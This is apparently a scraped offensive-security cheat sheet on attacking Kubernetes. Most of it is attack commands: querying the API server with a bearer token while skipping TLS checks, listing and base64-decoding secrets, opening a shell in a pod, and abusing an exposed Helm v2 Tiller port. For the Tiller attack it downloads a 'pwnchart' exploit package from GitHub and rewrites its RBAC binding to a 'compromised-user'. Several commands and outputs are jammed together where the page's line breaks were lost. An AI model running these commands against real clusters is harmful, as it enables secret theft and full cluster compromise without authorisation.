Kubernetes
Container Orchestration for managing big scalable infrastructure of containerized applications
Initial Access

Helm V2 - Tiller
Last updated
Container Orchestration for managing big scalable infrastructure of containerized applications

Last updated
curl -v -H 'Authorization: Bearer <TOKEN>' https://<API_SERVER>/...# # List everything
$ kubectl get all --token $TOKEN --server $API_SERVER --insecure-skip-tls-verify
$ kubectl get pods # List pods
$ kubectl get secrets # List secrets
# # Execute an interactive shell with a pod
$ kubectl exec <POD_NAME> --stdin --tty -- /bin/bash
# # Get and decode a secret
$ kubectl get secret <SECRET_NAME> -o jsonpath='{.data.*}' | base64 -d$ nc -v tiller-deploy.kube-system 44134
Connection to tiller-deploy.kube-system 44134 port [tcp/*] succeeded!
$ helm version
Client: &version.Version{SemVer:"v2.0.0", GitCommit:"ff52399e51bb880526e9cd0ed8386f6433b74da1", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.0.0", GitCommit:"b0c113dfb9f612a9add796549da66c0d294508a3", GitTreeState:"clean"}$ curl -o ./pwnchart.tgz https://github.com/Ruil1n/helm-tiller-pwn/raw/main/pwnchart-0.1.0.tgz
$ tar xvf ./pwnchart.tgz- apiVersion: rbac.authorization.k8s.io/v1beta1
+ apiVersion: rbac.authorization.k8s.io/v1- name: default
+ name: compromised-userhelm --host tiller-deploy.kube-system:44134 install --name pwnchart ./pwnchart